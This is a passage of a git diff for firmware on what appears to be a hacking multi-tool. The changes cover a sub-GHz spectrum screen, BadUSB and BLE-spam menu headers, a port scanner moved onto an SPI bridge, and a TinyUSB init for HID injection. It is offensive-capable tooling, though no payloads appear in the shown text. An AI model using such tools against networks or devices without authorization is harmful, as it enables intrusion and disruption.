Menu for now or SubGhz Menu if it existed. - ui_switch_screen(SCREEN_MENU); + + ui_switch_screen(SCREEN_MENU); } } } void ui_subghz_spectrum_open(void) { - // Start the backend task - subghz_spectrum_start(); + subghz_spectrum_start(SPECTRUM_CENTER_FREQ, SPECTRUM_SPAN_HZ); if(screen_spectrum) { lv_obj_del(screen_spectrum); @@ -92,39 +107,39 @@ void ui_subghz_spectrum_open(void) { chart = lv_chart_create(screen_spectrum); lv_obj_set_size(chart, 220, 120); lv_obj_align(chart, LV_ALIGN_CENTER, 0, -10); - - lv_chart_set_type(chart, LV_CHART_TYPE_LINE); - lv_chart_set_point_count(chart, 100); + + lv_chart_set_type(chart, LV_CHART_TYPE_LINE); + lv_chart_set_point_count(chart, SPECTRUM_SAMPLES); lv_chart_set_range(chart, LV_CHART_AXIS_PRIMARY_Y, 0, 100); - lv_chart_set_update_mode(chart, LV_CHART_UPDATE_MODE_SHIFT); + lv_chart_set_update_mode(chart, LV_CHART_UPDATE_MODE_CIRCULAR); - lv_obj_set_style_width(chart, 0, LV_PART_INDICATOR); + lv_obj_set_style_width(chart, 0, LV_PART_INDICATOR); lv_obj_set_style_height(chart, 0, LV_PART_INDICATOR); lv_obj_set_style_line_width(chart, 2, LV_PART_ITEMS); - lv_obj_set_style_bg_color(chart, lv_color_hex(0x110022), 0); + lv_obj_set_style_bg_color(chart, lv_color_hex(0x110022), 0); lv_obj_set_style_border_color(chart, lv_color_hex(0x5500AA), 0); lv_obj_set_style_border_width(chart, 1, 0); - + ser_rssi = lv_chart_add_series(chart, lv_color_hex(0x00FF00), LV_CHART_AXIS_PRIMARY_Y); - + lv_obj_set_style_bg_opa(chart, 80, LV_PART_ITEMS); - lv_obj_set_style_bg_color(chart, lv_color_hex(0x00FF00), LV_PART_ITEMS); - lv_obj_set_style_bg_grad_color(chart, lv_color_hex(0x220044), LV_PART_ITEMS); + lv_obj_set_style_bg_color(chart, lv_color_hex(0x00FF00), LV_PART_ITEMS); + lv_obj_set_style_bg_grad_color(chart, lv_color_hex(0x220044), LV_PART_ITEMS); lv_obj_set_style_bg_grad_dir(chart, LV_GRAD_DIR_VER, LV_PART_ITEMS); lv_obj_set_style_line_dash_width(chart, 0, LV_PART_MAIN); lv_obj_set_style_line_color(chart, lv_color_hex(0x440066), LV_PART_MAIN); /* --- INFO LABELS --- */ - lv_obj_t * lbl_freq_info = lv_label_create(screen_spectrum); - lv_label_set_text(lbl_freq_info, "FREQ: 433.92 MHz"); + lbl_freq_info = lv_label_create(screen_spectrum); + lv_label_set_text(lbl_freq_info, "433.92 MHz"); lv_obj_set_style_text_font(lbl_freq_info, &lv_font_montserrat_12, 0); lv_obj_set_style_text_color(lbl_freq_info, lv_color_hex(0xCC88FF), 0); lv_obj_align(lbl_freq_info, LV_ALIGN_BOTTOM_LEFT, 0, -35); lbl_rssi_info = lv_label_create(screen_spectrum); - lv_label_set_text(lbl_rssi_info, "RSSI: --- dBm"); + lv_label_set_text(lbl_rssi_info, "Peak: --- dBm"); lv_obj_set_style_text_font(lbl_rssi_info, &lv_font_montserrat_12, 0); lv_obj_set_style_text_color(lbl_rssi_info, lv_color_hex(0x00FF00), 0); lv_obj_align(lbl_rssi_info, LV_ALIGN_BOTTOM_RIGHT, 0, -35); @@ -136,7 +151,7 @@ void ui_subghz_spectrum_open(void) { update_timer = lv_timer_create(update_spectrum_cb, 50, NULL); lv_obj_add_event_cb(screen_spectrum, spectrum_event_cb, LV_EVENT_KEY, NULL); - + if(main_group) { lv_group_add_obj(main_group, screen_spectrum); lv_group_focus_obj(screen_spectrum); @@ -144,4 +159,3 @@ void ui_subghz_spectrum_open(void) { lv_screen_load(screen_spectrum); } - diff --git a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_browser.h b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_browser.h new file mode 100644 index 00000000..794af2c9 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_browser.h @@ -0,0 +1,6 @@ +#ifndef UI_BADUSB_BROWSER_H +#define UI_BADUSB_BROWSER_H + +void ui_badusb_browser_open(void); + +#endif // UI_BADUSB_BROWSER_H diff --git a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_connect.h b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_connect.h new file mode 100644 index 00000000..dad5bdc9 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_connect.h @@ -0,0 +1,6 @@ +#ifndef UI_BADUSB_CONNECT_H +#define UI_BADUSB_CONNECT_H + +void ui_badusb_connect_open(void); + +#endif // UI_BADUSB_CONNECT_H diff --git a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_layout.h b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_layout.h new file mode 100644 index 00000000..4b6ee161 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_layout.h @@ -0,0 +1,6 @@ +#ifndef UI_BADUSB_LAYOUT_H +#define UI_BADUSB_LAYOUT_H + +void ui_badusb_layout_open(void); + +#endif // UI_BADUSB_LAYOUT_H diff --git a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_menu.h b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_menu.h new file mode 100644 index 00000000..cde51bad --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_menu.h @@ -0,0 +1,6 @@ +#ifndef UI_BADUSB_MENU_H +#define UI_BADUSB_MENU_H + +void ui_badusb_menu_open(void); + +#endif // UI_BADUSB_MENU_H diff --git a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_running.h b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_running.h new file mode 100644 index 00000000..18596d81 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_running.h @@ -0,0 +1,7 @@ +#ifndef UI_BADUSB_RUNNING_H +#define UI_BADUSB_RUNNING_H + +void ui_badusb_running_open(void); +void ui_badusb_running_set_script(const char *name); + +#endif // UI_BADUSB_RUNNING_H diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/include/ui_ble_menu.h b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ui_ble_menu.h new file mode 100644 index 00000000..6d1f9b84 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ui_ble_menu.h @@ -0,0 +1,6 @@ +#ifndef UI_BLE_MENU_H +#define UI_BLE_MENU_H + +void ui_ble_menu_open(void); + +#endif // UI_BLE_MENU_H diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/include/ui_ble_spam.h b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ui_ble_spam.h new file mode 100644 index 00000000..693c5931 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ui_ble_spam.h @@ -0,0 +1,7 @@ +#ifndef UI_BLE_SPAM_H +#define UI_BLE_SPAM_H + +void ui_ble_spam_open(void); +void ui_ble_spam_set_name(const char *name); + +#endif // UI_BLE_SPAM_H diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/include/ui_ble_spam_select.h b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ui_ble_spam_select.h new file mode 100644 index 00000000..d77f06ca --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ui_ble_spam_select.h @@ -0,0 +1,6 @@ +#ifndef UI_BLE_SPAM_SELECT_H +#define UI_BLE_SPAM_SELECT_H + +void ui_ble_spam_select_open(void); + +#endif // UI_BLE_SPAM_SELECT_H diff --git a/firmware_p4/components/Applications/wifi/port_scan.c b/firmware_p4/components/Applications/wifi/port_scan.c index 96df846d..d6ebd70a 100644 --- a/firmware_p4/components/Applications/wifi/port_scan.c +++ b/firmware_p4/components/Applications/wifi/port_scan.c @@ -13,208 +13,262 @@ // limitations under the License. #include "port_scan.h" +#include "spi_bridge.h" +#include "spi_protocol.h" #include "esp_log.h" -#include "lwip/err.h" -#include "lwip/sockets.h" -#include "lwip/sys.h" -#include "lwip/netdb.h" #include -#include static const char *TAG = "PORT_SCANNER"; -static void sanitize_banner(char *buffer, int len) { - for (int i = 0; i < len; i++) { - if (buffer[i] == '\r' || buffer[i] == '\n') buffer[i] = ' '; - else if (!isprint((int)buffer[i])) buffer[i] = '.'; - } - buffer[len] = '\0'; } - -static bool check_tcp(const char *ip, int port, char *banner_out) { - struct sockaddr_in dest_addr; - dest_addr.sin_addr.s_addr = inet_addr(ip); - dest_addr.sin_family = AF_INET; - dest_addr.sin_port = htons(port); - - int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); - if (sock < 0) return false; - - struct timeval timeout; - timeout.tv_sec = CONNECT_TIMEOUT_S; - timeout.tv_usec = 0; - setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); - setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)); - - int err = connect(sock, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); - if (err != 0) { - close(sock); - return false; - } - - send(sock, "\r\n", 2, 0); - int len = recv(sock, banner_out, MAX_BANNER_LEN - 1, 0); - - if (len > 0) { - sanitize_banner(banner_out, len); - } else { - strcpy(banner_out, "(Without Banner)"); - } - - close(sock); - return true; // open -} +#define PORT_SCAN_TIMEOUT_MS 20000 + +static int fetch_scan_results(scan_result_t *results, int max_results) { + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + // Fetch count + uint16_t index = SPI_DATA_INDEX_COUNT; + esp_err_t ret = spi_bridge_send_command(SPI_ID_SYSTEM_DATA, + (const uint8_t *)&index, sizeof(index), + &resp_hdr, resp_buf, 5000); -// -1 (Closed), 0 (Open|Filtered), 1 (Open+Data) -static int check_udp(const char *ip, int port, char *banner_out) { - struct sockaddr_in dest_addr; - dest_addr.sin_addr.s_addr = inet_addr(ip); - dest_addr.sin_family = AF_INET; - dest_addr.sin_port = htons(port); - - int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); - if (sock < 0) return -1; - - struct timeval timeout; - timeout.tv_sec = 0; - timeout.tv_usec = UDP_TIMEOUT_MS * 1000; - setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); - - if (connect(sock, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) < 0) { - close(sock); - return -1; - } - - if (send(sock, "X", 1, 0) < 0) { - close(sock); - return -1; - } - - int len = recv(sock, banner_out, MAX_BANNER_LEN - 1, 0); - int result = -1; - - if (len > 0) { - result = 1; - sanitize_banner(banner_out, len); - } else { - strcpy(banner_out, "(Without Banner)"); - if (errno == ECONNREFUSED) { - result = -1; - } else if (errno == EAGAIN || errno == EWOULDBLOCK) { - result = 0; + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "Failed to fetch result count"); + return 0; } - } - close(sock); - return result; -} -static bool add_result(const char *ip, int port, int scan_type, char *banner, scan_result_t *results, int *count, int max_results) { - if (*count >= max_results) return false; - scan_result_t *res = &results[*count]; - strncpy(res->ip_str, ip, 16); - res->port = port; - res->protocol = (scan_type == 0) ? PROTO_TCP : PROTO_UDP; - strncpy(res->banner, banner, MAX_BANNER_LEN); - res->status = (scan_type == 0 || scan_type == 1) ? STATUS_OPEN : STATUS_OPEN_FILTERED; - - const char *p_str = (scan_type == 0) ? "TCP" : "UDP"; - const char *s_str = (res->status == STATUS_OPEN) ? "OPEN" : "FILTERED"; - ESP_LOGI(TAG, "HIT: %s:%d [%s] %s | %s", ip, port, p_str, s_str, banner); - (*count)++; - return true; -} + uint16_t total = resp_buf[1] | (resp_buf[2] << 8); + if (total > max_results) total = max_results; + + ESP_LOGI(TAG, "Fetching %d results from C5", total); + + int count = 0; + for (uint16_t i = 0; i < total; i++) { + ret = spi_bridge_send_command(SPI_ID_SYSTEM_DATA, + (const uint8_t *)&i, sizeof(i), + &resp_hdr, resp_buf, 2000); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGW(TAG, "Failed to fetch result %d", i); + continue; + } + + spi_port_scan_result_t *rec = (spi_port_scan_result_t *)&resp_buf[1]; + strncpy(results[count].ip_str, rec->ip_str, 16); + results[count].port = rec->port; + results[count].protocol = (rec->protocol == 0) ? PROTO_TCP : PROTO_UDP; + results[count].status = (rec->status == 0) ? STATUS_OPEN : STATUS_OPEN_FILTERED; + strncpy(results[count].banner, rec->banner, MAX_BANNER_LEN); + count++; + } -int port_scan_target_range(const char *target_ip, int start_port, int end_port, scan_result_t *results, int max_results) { - int count = 0; - char banner[MAX_BANNER_LEN]; - for (int port = start_port; port <= end_port; port++) { - if (count >= max_results) break; - if (check_tcp(target_ip, port, banner)) add_result(target_ip, port, 0, banner, results, &count, max_results); - if (count >= max_results) break; - int udp = check_udp(target_ip, port, banner); - if (udp >= 0) add_result(target_ip, port, udp, banner, results, &count, max_results); - vTaskDelay(10 / portTICK_PERIOD_MS); - } - return count; + return count; } -int port_scan_target_list(const char *target_ip, const int *port_list, int list_size, scan_result_t *results, int max_results) { - int count = 0; - char banner[MAX_BANNER_LEN]; - for (int i = 0; i < list_size; i++) { - int port = port_list[i]; - if (count >= max_results) break; - if (check_tcp(target_ip, port, banner)) add_result(target_ip, port, 0, banner, results, &count, max_results); - if (count >= max_results) break; - int udp = check_udp(target_ip, port, banner); - if (udp >= 0) add_result(target_ip, port, udp, banner, results, &count, max_results); - vTaskDelay(10 / portTICK_PERIOD_MS); - } - return count; -} +int port_scan_target_range(const char *target_ip, int start_port, int end_port, + scan_result_t *results, int max_results) { + spi_port_scan_range_req_t req = {0}; + strncpy(req.ip, target_ip, sizeof(req.ip) - 1); + req.start_port = start_port; + req.end_port = end_port; + req.max_results = max_results; + + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_WIFI_PORT_SCAN_TARGET_RANGE, + (const uint8_t *)&req, sizeof(req), + &resp_hdr, resp_buf, PORT_SCAN_TIMEOUT_MS); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "Target range scan failed"); + return 0; + } -static int scan_network_iterator_raw(uint32_t ip_start_hbo, uint32_t ip_end_hbo, - int p_start, int p_end, const int *p_list, int list_size, - int flag_type, - scan_result_t *results, int max_results) { - int count = 0; - if (ip_start_hbo > ip_end_hbo) { ESP_LOGE(TAG, "IP Start > IP End"); return 0; } - - uint32_t diff = ip_end_hbo - ip_start_hbo; - if (diff > MAX_IP_RANGE_SPAN) { - ESP_LOGE(TAG, "Range Error: %u IPs exceeds limit of %d", diff, MAX_IP_RANGE_SPAN); - return 0; - } - - ESP_LOGI(TAG, "Scanning %u hosts...", diff + 1); - uint32_t ip_curr = ip_start_hbo; - - while (ip_curr <= ip_end_hbo && count < max_results) { - struct in_addr ip_struct; - ip_struct.s_addr = htonl(ip_curr); - char current_ip_str[16]; - strcpy(current_ip_str, inet_ntoa(ip_struct)); - - int hits = 0; - if (flag_type == 0) hits = port_scan_target_range(current_ip_str, p_start, p_end, &results[count], max_results - count); - else hits = port_scan_target_list(current_ip_str, p_list, list_size, &results[count], max_results - count); - - count += hits; - ip_curr++; - vTaskDelay(20 / portTICK_PERIOD_MS); - } - return count; + return fetch_scan_results(results, max_results); } -int port_scan_network_range_using_port_range(const char *start_ip, const char *end_ip, int start_port, int end_port, scan_result_t *results, int max_results) { - uint32_t s = ntohl(inet_addr(start_ip)); - uint32_t e = ntohl(inet_addr(end_ip)); - return scan_network_iterator_raw(s, e, start_port, end_port, NULL, 0, 0, results, max_results); +int port_scan_target_list(const char *target_ip, const int *port_list, int list_size, + scan_result_t *results, int max_results) { + // Payload: ip[16] + max_results(2) + count(2) + ports(2*N) + uint8_t payload[SPI_MAX_PAYLOAD]; + memset(payload, 0, sizeof(payload)); + + size_t offset = 0; + strncpy((char *)payload, target_ip, 16); + offset += 16; + + uint16_t max_res = max_results; + memcpy(&payload[offset], &max_res, 2); + offset += 2; + + uint16_t count = list_size; + memcpy(&payload[offset], &count, 2); + offset += 2; + + // Cap port count to fit in payload + int max_ports = (SPI_MAX_PAYLOAD - offset) / 2; + if (list_size > max_ports) list_size = max_ports; + + for (int i = 0; i < list_size; i++) { + uint16_t p = port_list[i]; + memcpy(&payload[offset], &p, 2); + offset += 2; + } + + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_WIFI_PORT_SCAN_TARGET_LIST, + payload, offset, + &resp_hdr, resp_buf, PORT_SCAN_TIMEOUT_MS); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "Target list scan failed"); + return 0; + } + + return fetch_scan_results(results, max_results); } -int port_scan_network_range_using_port_list(const char *start_ip, const char *end_ip, const int *port_list, int list_size, scan_result_t *results, int max_results) { - uint32_t s = ntohl(inet_addr(start_ip)); - uint32_t e = ntohl(inet_addr(end_ip)); - return scan_network_iterator_raw(s, e, 0, 0, port_list, list_size, 1, results, max_results); +int port_scan_network_range_using_port_range(const char *start_ip, const char *end_ip, + int start_port, int end_port, + scan_result_t *results, int max_results) { + spi_port_scan_network_req_t req = {0}; + strncpy(req.start_ip, start_ip, sizeof(req.start_ip) - 1); + strncpy(req.end_ip, end_ip, sizeof(req.end_ip) - 1); + req.start_port = start_port; + req.end_port = end_port; + req.max_results = max_results; + req.scan_type = 0; + + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_WIFI_PORT_SCAN_NETWORK, + (const uint8_t *)&req, sizeof(req), + &resp_hdr, resp_buf, PORT_SCAN_TIMEOUT_MS); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "Network range scan failed"); + return 0; + } + + return fetch_scan_results(results, max_results); } -static void calculate_cidr_bounds(const char *base_ip, int cidr, uint32_t *start_out, uint32_t *end_out) { - uint32_t ip_val = ntohl(inet_addr(base_ip)); - uint32_t mask = (cidr == 0) ? 0 : (~0U << (32 - cidr)); - *start_out = ip_val & mask; - *end_out = *start_out | (~mask); - if (cidr < 31) { (*start_out)++; (*end_out)--; } +int port_scan_network_range_using_port_list(const char *start_ip, const char *end_ip, + const int *port_list, int list_size, + scan_result_t *results, int max_results) { + // Payload: start_ip[16] + end_ip[16] + max_results(2) + count(2) + ports(2*N) + uint8_t payload[SPI_MAX_PAYLOAD]; + memset(payload, 0, sizeof(payload)); + + size_t offset = 0; + strncpy((char *)payload, start_ip, 16); + offset += 16; + strncpy((char *)&payload[offset], end_ip, 16); + offset += 16; + + uint16_t max_res = max_results; + memcpy(&payload[offset], &max_res, 2); + offset += 2; + + uint16_t count = list_size; + memcpy(&payload[offset], &count, 2); + offset += 2; + + int max_ports = (SPI_MAX_PAYLOAD - offset) / 2; + if (list_size > max_ports) list_size = max_ports; + + for (int i = 0; i < list_size; i++) { + uint16_t p = port_list[i]; + memcpy(&payload[offset], &p, 2); + offset += 2; + } + + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_WIFI_PORT_SCAN_NETWORK, + payload, offset, + &resp_hdr, resp_buf, PORT_SCAN_TIMEOUT_MS); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "Network list scan failed"); + return 0; + } + + return fetch_scan_results(results, max_results); } -int port_scan_cidr_using_port_range(const char *base_ip, int cidr, int start_port, int end_port, scan_result_t *results, int max_results) { - uint32_t s, e; - calculate_cidr_bounds(base_ip, cidr, &s, &e); - ESP_LOGI(TAG, "CIDR /%d -> Numeric Range Scan", cidr); - return scan_network_iterator_raw(s, e, start_port, end_port, NULL, 0, 0, results, max_results); +int port_scan_cidr_using_port_range(const char *base_ip, int cidr, + int start_port, int end_port, + scan_result_t *results, int max_results) { + spi_port_scan_cidr_req_t req = {0}; + strncpy(req.base_ip, base_ip, sizeof(req.base_ip) - 1); + req.cidr = cidr; + req.scan_type = 0; + req.start_port = start_port; + req.end_port = end_port; + req.max_results = max_results; + + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_WIFI_PORT_SCAN_CIDR, + (const uint8_t *)&req, sizeof(req), + &resp_hdr, resp_buf, PORT_SCAN_TIMEOUT_MS); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "CIDR range scan failed"); + return 0; + } + + return fetch_scan_results(results, max_results); } -int port_scan_cidr_using_port_list(const char *base_ip, int cidr, const int *port_list, int list_size, scan_result_t *results, int max_results) { - uint32_t s, e; - calculate_cidr_bounds(base_ip, cidr, &s, &e); - ESP_LOGI(TAG, "CIDR /%d -> Numeric List Scan", cidr); - return scan_network_iterator_raw(s, e, 0, 0, port_list, list_size, 1, results, max_results); +int port_scan_cidr_using_port_list(const char *base_ip, int cidr, + const int *port_list, int list_size, + scan_result_t *results, int max_results) { + // Payload: base_ip[16] + cidr(1) + max_results(2) + count(2) + ports(2*N) + uint8_t payload[SPI_MAX_PAYLOAD]; + memset(payload, 0, sizeof(payload)); + + size_t offset = 0; + strncpy((char *)payload, base_ip, 16); + offset += 16; + + payload[offset++] = (uint8_t)cidr; + + uint16_t max_res = max_results; + memcpy(&payload[offset], &max_res, 2); + offset += 2; + + uint16_t count = list_size; + memcpy(&payload[offset], &count, 2); + offset += 2; + + int max_ports = (SPI_MAX_PAYLOAD - offset) / 2; + if (list_size > max_ports) list_size = max_ports; + + for (int i = 0; i < list_size; i++) { + uint16_t p = port_list[i]; + memcpy(&payload[offset], &p, 2); + offset += 2; + } + + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_WIFI_PORT_SCAN_CIDR, + payload, offset, + &resp_hdr, resp_buf, PORT_SCAN_TIMEOUT_MS); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "CIDR list scan failed"); + return 0; + } + + return fetch_scan_results(results, max_results); } diff --git a/firmware_p4/components/Drivers/cc1101/cc1101.c b/firmware_p4/components/Drivers/cc1101/cc1101.c index 4be6a506..194e6401 100644 --- a/firmware_p4/components/Drivers/cc1101/cc1101.c +++ b/firmware_p4/components/Drivers/cc1101/cc1101.c @@ -428,7 +428,7 @@ void cc1101_init(void) { .queue_size = 7 }; - esp_err_t ret = spi_add_device(SPI_DEVICE_CC1101, &devcfg); + esp_err_t ret = spi_add_device(SPI3_HOST, SPI_DEVICE_CC1101, &devcfg); if (ret != ESP_OK) { ESP_LOGE(TAG, "Falha ao adicionar dispositivo SPI: %s", esp_err_to_name(ret)); return; diff --git a/firmware_p4/components/Drivers/pins/include/pin_def.h b/firmware_p4/components/Drivers/pins/include/pin_def.h index c35022ad..7145e2bf 100644 --- a/firmware_p4/components/Drivers/pins/include/pin_def.h +++ b/firmware_p4/components/Drivers/pins/include/pin_def.h @@ -26,8 +26,16 @@ #define GPIO_SDA_PIN 8 // GDO0 #define GPIO_SCL_PIN 9 // GDO2 +// SDMMC (SDIO) +#define SDMMC_CLK_PIN 43 +#define SDMMC_CMD_PIN 44 +#define SDMMC_D0_PIN 39 +#define SDMMC_D1_PIN 40 +#define SDMMC_D2_PIN 41 +#define SDMMC_D3_PIN 42 + + // chip select -#define SD_CARD_CS_PIN 14 #define ST7789_CS_PIN 48 // buttons diff --git a/firmware_p4/components/Drivers/tusb_desc/tusb_desc.c b/firmware_p4/components/Drivers/tusb_desc/tusb_desc.c index 52c5883b..acf966a3 100644 --- a/firmware_p4/components/Drivers/tusb_desc/tusb_desc.c +++ b/firmware_p4/components/Drivers/tusb_desc/tusb_desc.c @@ -16,6 +16,7 @@ #include "tusb_desc.h" #include "tinyusb.h" #include "esp_log.h" +#include "driver/gpio.h" #include static const char* TAG = "TUSB_DESC"; @@ -107,15 +108,33 @@ void tud_hid_set_report_cb(uint8_t instance, uint8_t report_id, hid_report_type_ } void busb_init(void){ - ESP_LOGI(TAG, "Inicializando o driver TinyUSB para BadUSB..."); + ESP_LOGI(TAG, "Initializing the TinyUSB driver..."); + + // in ESP32-P4 High Speed port, the ISR Service of GPIO is obrigatory + esp_err_t err = gpio_install_isr_service(0); + if (err == ESP_ERR_INVALID_STATE) { + ESP_LOGW(TAG, "GPIO ISR service already installed."); + } else { + ESP_ERROR_CHECK(err); + } + const tinyusb_config_t tusb_cfg = { - .device_descriptor = &desc_device, - .string_descriptor = string_desc_arr, - .string_descriptor_count = sizeof(string_desc_arr) / sizeof(string_desc_arr[0]), - .external_phy = false, - .configuration_descriptor = desc_configuration, + .port = TINYUSB_PORT_HIGH_SPEED_0, + .descriptor = { + .device = &desc_device, + .string = string_desc_arr, + .string_count = sizeof(string_desc_arr) / sizeof(string_desc_arr[0]), + .full_speed_config = desc_configuration, + .high_speed_config = desc_configuration + }, + .phy = { + .skip_setup = false, + .self_powered = false, + .vbus_monitor_io = -1 + } }; ESP_ERROR_CHECK(tinyusb_driver_install(&tusb_cfg)); - ESP_LOGI(TAG, "Driver TinyUSB instalado com sucesso."); + ESP_LOGI(TAG, "Driver TinyUSB installed with success."); } + diff --git a/firmware_p4/components/Service/CMakeLists.txt b/firmware_p4/components/Service/CMakeLists.txt index cc41a52e..ea323e2a 100644 --- a/firmware_p4/components/Service/CMakeLists.txt +++ b/firmware_p4/components/Service/CMakeLists.txt @@ -57,7 +57,9 @@ idf_component_register(SRCS ${BRIDGE_MANAGER_SRCS} ${BT_SERVICE_SRCS} - INCLUDE_DIRS + "ota/ota_service.c" + + INCLUDE_DIRS "font/include" "icons/include" "wifi/include" @@ -72,6 +74,7 @@ idf_component_register(SRCS "c5_flasher/include" "bridge_manager/include" "bluetooth/include" + "ota/include" @@ -91,5 +94,15 @@ idf_component_register(SRCS littlefs cjson console - argtable3 + argtable3 + app_update ) + +# Embed C5 Firmware Binary into Service component (used by c5_flasher) +set(C5_BIN_PATH "${CMAKE_SOURCE_DIR}/../firmware_c5/build/TentacleOS_C5.bin") +if(EXISTS ${C5_BIN_PATH}) + target_add_binary_data(${COMPONENT_LIB} "${C5_BIN_PATH}" BINARY) + message(STATUS "Embedding C5 Firmware: ${C5_BIN_PATH}") +else() + message(WARNING "C5 Firmware binary not found at ${C5_BIN_PATH}. Firmware update feature will be disabled.") +endif() diff --git a/firmware_p4/components/Service/bridge_manager/bridge_manager.c b/firmware_p4/components/Service/bridge_manager/bridge_manager.c index d3a52b0d..90130ff7 100644 --- a/firmware_p4/components/Service/bridge_manager/bridge_manager.c +++ b/firmware_p4/components/Service/bridge_manager/bridge_manager.c @@ -1,59 +1,93 @@ #include "bridge_manager.h" #include "spi_bridge.h" #include "c5_flasher.h" +#include "storage_assets.h" #include "esp_log.h" +#include "cJSON.h" #include +#include static const char *TAG = "BRIDGE_MGR"; -static const char *EMBEDDED_VERSION = "1.0.0"; + +#define VERSION_JSON_PATH "config/OTA/firmware.json" + +static char s_expected_version[32] = "unknown"; + +static void load_expected_version(void) { + size_t size; + uint8_t *json_data = storage_assets_load_file(VERSION_JSON_PATH, &size); + if (json_data == NULL) { + ESP_LOGW(TAG, "Could not read firmware.json, using fallback version"); + return; + } + + cJSON *root = cJSON_ParseWithLength((const char *)json_data, size); + free(json_data); + + if (root == NULL) { + ESP_LOGE(TAG, "Failed to parse firmware.json"); + return; + } + + cJSON *version = cJSON_GetObjectItem(root, "version"); + if (cJSON_IsString(version) && version->valuestring != NULL) { + strncpy(s_expected_version, version->valuestring, sizeof(s_expected_version) - 1); + s_expected_version[sizeof(s_expected_version) - 1] = '\0'; + } + + cJSON_Delete(root); +} esp_err_t bridge_manager_init(void) { - ESP_LOGI(TAG, "Initializing Bridge Manager..."); + ESP_LOGI(TAG, "Initializing Bridge Manager..."); - // 1. Init SPI Master - if (spi_bridge_master_init() != ESP_OK) { - ESP_LOGE(TAG, "Failed to init SPI bridge."); - return ESP_FAIL; - } + load_expected_version(); + ESP_LOGI(TAG, "Expected C5 version: %s", s_expected_version); - // 2. Query C5 Version - spi_header_t resp_header; - uint8_t resp_ver[32]; - memset(resp_ver, 0, sizeof(resp_ver)); + // 1. Init SPI Master + if (spi_bridge_master_init() != ESP_OK) { + ESP_LOGE(TAG, "Failed to init SPI bridge."); + return ESP_FAIL; + } - ESP_LOGI(TAG, "Checking C5 version..."); - esp_err_t ret = spi_bridge_send_command(SPI_ID_SYSTEM_VERSION, NULL, 0, &resp_header, resp_ver, 1000); + // 2. Query C5 Version + spi_header_t resp_header; + uint8_t resp_ver[32]; + memset(resp_ver, 0, sizeof(resp_ver)); - bool needs_update = false; + ESP_LOGI(TAG, "Checking C5 version..."); + esp_err_t ret = spi_bridge_send_command(SPI_ID_SYSTEM_VERSION, NULL, 0, &resp_header, resp_ver, 1000); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "C5 not responding. Assuming recovery needed."); - needs_update = true; - } else { - ESP_LOGI(TAG, "C5 Version: %s (Embedded: %s)", resp_ver, EMBEDDED_VERSION); - if (strcmp((char*)resp_ver, EMBEDDED_VERSION) != 0) { - needs_update = true; - } + bool needs_update = false; + + if (ret != ESP_OK) { + ESP_LOGW(TAG, "C5 not responding. Assuming recovery needed."); + needs_update = true; + } else { + ESP_LOGI(TAG, "C5 Version: %s (Expected: %s)", resp_ver, s_expected_version); + if (strcmp((char*)resp_ver, s_expected_version) 